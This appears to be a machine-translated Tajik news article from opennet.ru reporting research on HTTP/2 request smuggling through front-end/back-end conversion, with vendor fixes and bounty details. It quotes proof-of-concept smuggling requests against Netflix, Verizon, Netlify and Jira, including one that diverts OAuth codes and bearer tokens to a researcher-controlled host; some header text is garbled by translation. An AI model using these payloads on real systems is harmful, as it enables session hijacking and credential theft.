Ҳамлаи нав ба системаҳои пушти сар, ки ба шумо имкон медиҳад, ки ба дархостҳо ворид шавед

Системаҳои веб, ки дар он интерфейс пайвастҳоро тавассути HTTP/2 қабул мекунад ва онҳоро тавассути HTTP/1.1 ба ақиб интиқол медиҳад, ба варианти нави ҳамлаи "HTTP Request Smuggling", ки имкон медиҳад тавассути фиристодани дархостҳои махсуси тарҳрезишудаи муштарӣ, ба мундариҷаи дархостҳои корбарони дигар, ки дар як ҷараён байни фронт ва пушти сар коркард мешаванд, ворид кунед. Ҳамла метавонад барои ворид кардани коди шубҳаноки JavaScript ба сеанс бо вебсайти қонунӣ, гузаштан аз системаҳои маҳдудияти дастрасӣ ва боздоштани параметрҳои аутентификатсия истифода шавад.

Мушкилот ба проксиҳои веб, мувозинатҳои сарборӣ, суръатдиҳандагони веб, системаҳои интиқоли мундариҷа ва дигар конфигуратсияҳое таъсир мерасонад, ки дар онҳо дархостҳо ба тариқи пеш аз пеш ба ақиб равона карда мешаванд. Муаллифи пажӯҳиш имкони ҳамла ба системаҳои Netflix, Verizon, Bitbucket, Netlify CDN ва Atlassian-ро нишон дода, барои муайян кардани осебпазириҳо 56 ҳазор доллари мукофотпулӣ гирифтааст. Мушкилот дар маҳсулоти F5 Networks низ тасдиқ шудааст. Мушкилот қисман ба mod_proxy дар сервери http Apache таъсир мерасонад (CVE-2021-33193), ислоҳ дар версияи 2.4.49 интизор аст (ба таҳиягарон дар аввали моҳи май дар бораи мушкилот огоҳ карда шуда буданд ва барои ислоҳи он 3 моҳ вақт дода шуданд). Дар nginx, имкони ҳамзамон муайян кардани сарлавҳаҳои "Дарозии мундариҷа" ва "Интиқоли рамзгузорӣ" дар версияи охирин (1.21.1) баста шудааст. Асбобҳои ҳамла аллакай ба абзори Burp дохил карда шудаанд ва дар шакли васеъшавии Turbo Intruder дастрасанд.

Принсипи кори усули нави пайваст кардани дархостҳо ба трафик ба осебпазирие, ки ҳамон як муҳаққиқ ду сол пеш муайян кардааст, шабоҳат дорад, аммо танҳо ба фронтҳо, ки дархостҳоро тавассути HTTP/1.1 қабул мекунанд, маҳдуд аст. Ёдовар мешавем, ки дар схемаи frontend-backend дархостҳои муштарӣ аз ҷониби гиреҳи иловагӣ қабул карда мешаванд - frontend, ки пайвасти дарозмуддати TCP-ро бо пуштибонӣ муқаррар мекунад, ки бевосита дархостҳоро коркард мекунад. Тавассути ин пайвасти умумӣ, одатан дархостҳои корбарони гуногун интиқол дода мешаванд, ки занҷирро паси дигаре пайгирӣ мекунанд ва тавассути протоколи HTTP ҷудо мешаванд.

Ҳамлаи классикии "Кочоқи дархости HTTP" ба он асос ёфтааст, ки пешгӯиҳо ва ақибмондаҳо истифодаи сарлавҳаҳои HTTP "Content-Length" (ҳаҷми умумии маълумотро дар дархост муайян мекунад) ва "Интиқоли рамзгузорӣ: порчаҳо" (имкон медиҳад) тафсир мекунанд. маълумот ба қисмҳо интиқол дода мешавад) ба таври гуногун. . Масалан, агар интерфейс танҳо "Content-Length" -ро дастгирӣ кунад, аммо "Интиқоли Рамзгузорӣ: порчаҳо" -ро нодида гирад, он гоҳ ҳамлакунанда метавонад дархостеро ирсол кунад, ки ҳам сарлавҳаҳои "Дарозии мундариҷа" ва ҳам "Интиқоли рамзгузорӣ: пора"-ро дар бар мегирад, аммо андозаи "Content-Length" ба андозаи занҷири буридашуда мувофиқат намекунад. Дар ин ҳолат, фронтент дархостро мувофиқи "Content-Length" коркард ва масир мегардонад ва пуштибонӣ интизори анҷоми блок дар асоси "Интиқоли рамзгузорӣ: пора карда шудааст" ва думи боқимондаи дархости ҳамлакунанда дар ибтидои дархости ягон каси дигар интиқол дода мешавад.

Баръакси протоколи матнии HTTP/1.1, ки дар сатҳи сатр таҳлил карда мешавад, HTTP/2 протоколи дуӣ буда, блокҳои додаҳои андозаи қаблан муайяншударо идора мекунад. Аммо, HTTP/2 сарлавҳаҳои псевдо-сарлавҳаро истифода мебарад, ки ба сарлавҳаҳои муқаррарии HTTP мувофиқат мекунанд. Дар ҳолати ҳамкорӣ бо пуштибони тавассути протоколи HTTP/1.1, фронтент ин сарлавҳаҳои псевдо-сарлавҳаҳоро ба сарлавҳаҳои шабеҳи HTTP HTTP/1.1 тарҷума мекунад. Мушкилот дар он аст, ки пуштибонӣ дар бораи таҳлили ҷараён дар асоси сарлавҳаҳои HTTP, ки аз тарафи фронтend муқаррар шудааст, бидуни маълумот дар бораи параметрҳои дархости аслӣ қарор қабул мекунад.

Аз ҷумла, арзишҳои "дарозии мундариҷа" ва "интиқоли рамзгузорӣ" метавонанд дар шакли сарлавҳаҳои псевдо-сарлавҳа интиқол дода шаванд, сарфи назар аз он ки онҳо дар HTTP/2 истифода намешаванд, зеро андозаи ҳама маълумот муайян карда мешавад. дар майдони алоҳида. Бо вуҷуди ин, дар ҷараёни табдил додани дархости HTTP/2 ба HTTP/1.1, ин сарлавҳаҳо интиқол дода мешаванд ва метавонанд пуштибониро иштибоҳ кунанд. Ду варианти асосии ҳамла вуҷуд дорад: H2.TE ва H2.CL, ки дар онҳо пуштибонӣ бо арзиши нодурусти интиқол-рамзгузорӣ ё дарозии мундариҷа, ки ба андозаи воқеии мақоми дархост, ки аз ҷониби фронтенд тавассути интерфейс гирифта шудааст, мувофиқат намекунад, гумроҳ карда мешавад. Протоколи HTTP/2.

Ҳамлаи нав ба системаҳои пушти сар, ки ба шумо имкон медиҳад, ки ба дархостҳо ворид шавед

Намунаи ҳамлаи H2.CL ин муайян кардани андозаи нодуруст дар сарлавҳаи псевдо-дарозии мундариҷа ҳангоми фиристодани дархости HTTP/2 ба Netflix мебошад. Ин дархост боиси илова кардани сарлавҳаи шабеҳи HTTP Content-Length ҳангоми дастрасӣ ба пуштибон тавассути HTTP/1.1 мегардад, аммо азбаски андоза дар Content-Length аз андозаи воқеӣ камтар муайян карда мешавад, як қисми маълумот дар дум ҳамчун оғози дархости навбатӣ.

Масалан, дархост HTTP/2 :метод POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar

Дар натиҷа дархост ба пуштибон фиристода мешавад: POST /n HTTP/1.1 Хост: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar

Азбаски Content-Length дорои арзиши 4 аст, пуштибон танҳо "abcd" -ро ҳамчун матни дархост қабул мекунад ва боқимондаи "GET /n HTTP/1.1..." ҳамчун оғози дархости минбаъда коркард карда мешавад. бо корбари дигар алоқаманд аст. Мутаносибан, ҷараён синхронизатсия карда мешавад ва дар посух ба дархости навбатӣ, натиҷаи коркарди дархости мукаммал дода мешавад. Дар мавриди Netflix, нишон додани мизбони тарафи сеюм дар сарлавҳаи "Host:" дар дархости ғайриоддӣ боиси он шуд, ки муштарӣ посухи "Макон: https://02.rs?x.netflix.com/n" ва иҷозат дод, ки мундариҷаи худсарона ба муштарӣ фиристода шавад, аз ҷумла рамзи JavaScript-и худро дар заминаи сайти Netflix иҷро кунед.

Варианти дуввуми ҳамла (H2.TE) иваз кардани сарлавҳаи "Интиқоли рамзгузорӣ: пора" -ро дар бар мегирад. Истифодаи псевдо-сарлавҳаи интиқол-рамзгузорӣ дар HTTP/2 тибқи мушаххасот манъ аст ва дархостҳо бо он нодуруст ҳисоб карда мешаванд. Сарфи назар аз ин, баъзе амалисозии пештара ин талаботро ба инобат намегиранд ва ба истифодаи сарлавҳаи псевдо-рамзгузории интиқол дар HTTP/2, ки ба сарлавҳаи шабеҳи HTTP табдил дода мешавад, иҷозат медиҳанд. Агар сарлавҳаи "Интиқоли Рамзгузорӣ" мавҷуд бошад, пуштибон метавонад онро ҳамчун авлавияти баландтар қабул кунад ва маълумотро қисм ба қисм дар реҷаи "пора" бо истифода аз блокҳои андозаҳои гуногун дар формати "{size}\r\n{block" таҳлил кунад. }\r\n{size} \r\n{block}\r\n0", сарфи назар аз тақсимоти ибтидоӣ аз рӯи андозаи умумӣ.

Мавҷудияти чунин холигоҳро мисоли Verizon нишон дод. Мушкилот ба портали аутентификатсия ва системаи идоракунии мундариҷа дахл дошт, ки он дар сайтҳо ба монанди Huffington Post ва Engadget низ истифода мешавад. Масалан, дархости муштарӣ тавассути HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com интиқол-рамзгузорӣ пора карда шудааст 0 GET /oops HTTP/1.1 Хост: psres.net Content-Length: 10 x=

Дар натиҷаи фиристодани дархости HTTP/1.1 ба пуштибонӣ: POST /identity/XUI HTTP/1.1 Хост: id.b2b.oath.com Content-Length: 66 Интиқол-Рамзгузорӣ: chunked 0 GET /oops HTTP/1.1 Host: psres. Мундариҷаи холис - Дарозӣ: 10x =

Дар бозгашт, дар навбати худ, сарлавҳаи "Content-Length" -ро нодида гирифт ва тақсимоти дохили ҷараёнро дар асоси "Интиқоли рамзгузорӣ: порчаҳо" анҷом дод. Дар амал, ҳамла имкон дод, ки дархостҳои корбарон ба вебсайти худ равона карда шаванд, аз ҷумла боздоштани дархостҳои марбут ба аутентификатсияи OAuth, ки параметрҳои онҳо дар сарлавҳаи Referer нишон дода шудаанд, инчунин тақлид кардани сессияи аутентификатсия ва ангезиши системаи корбар барои фиристодани маълумоти эътимоднокӣ ба мизбони хучумкунанда. GET /b2blanding/show/oops HTTP/1.1 Хост: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Хост: psres.net Авторизатсия: Баранда eyJhcGwiOiJIUzI1Gi1CI6IR6c…

Барои ҳамла ба амалияҳои HTTP/2, ки имкон намедиҳад, ки сарлавҳаи псевдо-рамзгузории интиқол-рамзӣ муайян карда шавад, усули дигаре пешниҳод шудааст, ки иваз кардани сарлавҳаи "Интиқоли рамзгузорӣ"-ро тавассути замимаи он ба дигар сарлавҳаҳои псевдо-рамзгузорӣ, ки бо аломати сатри нав ҷудо шудаанд ( ҳангоми табдил ба HTTP/1.1 дар ин ҳолат ду сарлавҳаи алоҳидаи HTTP эҷод мекунад).

Масалан, Atlassian Jira ва Netlify CDN (барои хидматрасонии саҳифаи ибтидоии Mozilla дар Firefox истифода мешуд) аз ин мушкилот осеб диданд. Махсусан, дархости HTTP/2 :метод POST :path / :authority start.mozilla.org foo b\r\n интиқол-рамзгузорӣ: қисмҳои 0\r\n \r\n GET / HTTP/1.1\r\n Хост : evil-netlify-domain\r\n Мундариҷа-Дарозии: 5\r\n \r\nx=

боиси он шуд, ки дархости HTTP/1.1 POST / HTTP/1.1 ба ақибмонда фиристода шуд\r\n Хост: start.mozilla.org\r\n Foo: b\r\n Интиқол-рамзгузорӣ: пора\r\n Дарозии мундариҷа : 71\ r\n \r\n 0\r\n \r\n ГЕТА / HTTP/1.1\r\n Хост: evil-netlify-domain\r\n Мундариҷа-Дарозии: 5\r\n \r \nx=

Варианти дигар барои иваз кардани сарлавҳаи "Интиқоли рамзгузорӣ" замима кардани он ба номи дигар сарлавҳаи псевдо-сарлавҳа ё ба сатри бо усули дархост. Масалан, ҳангоми дастрасӣ ба Atlassian Jira, номи псевдосарлавҳаи "foo: bar\r\ntransfer-encoding" бо арзиши "chunked" боиси илова шудани сарлавҳаҳои HTTP "foo: bar" ва "transfer-encoding: chunked" шуд. , ва муайян кардани сарлавҳаи псевдо-сарлавҳаи ":метод" арзиши "GET / HTTP/1.1\r\nИнтиқоли-рамзгузорӣ: chunked" ба "GET / HTTP/1.1\r\nинтиқоли-рамзгузорӣ: пора" тарҷума карда шуд.

Муҳаққиқе, ки мушкилотро муайян кардааст, инчунин як усули нақбсозии дархостро барои ҳамла ба фронтҳо пешниҳод кард, ки дар он ҳар як суроғаи IP пайвасти алоҳида ба паси ақибгоҳро муқаррар мекунад ва трафики корбарони гуногун омехта нест. Техникаи пешниҳодшуда дахолат ба дархостҳои корбарони дигарро имкон намедиҳад, балки имкон медиҳад, ки кэши муштарак, ки ба коркарди дархостҳои дигар таъсир мерасонад, заҳролуд шавад ва имкон медиҳад, ки сарлавҳаҳои дохилии HTTP, ки барои интиқоли иттилооти хидматӣ аз фронт ба паси кор истифода мешаванд ( масалан, ҳангоми тасдиқи аутентификатсия дар тарафи фронт дар Чунин сарлавҳаҳо метавонанд маълумотро дар бораи корбари ҷорӣ ба ақиб интиқол диҳанд). Ҳамчун намунаи татбиқи усул дар амал, бо истифода аз заҳролудшавии кэш, имкон дошт, ки назорат аз болои саҳифаҳо дар хидмати Bitbucket ба даст оварда шавад.

Манбаъ: opennet.ru

Илова Эзоҳ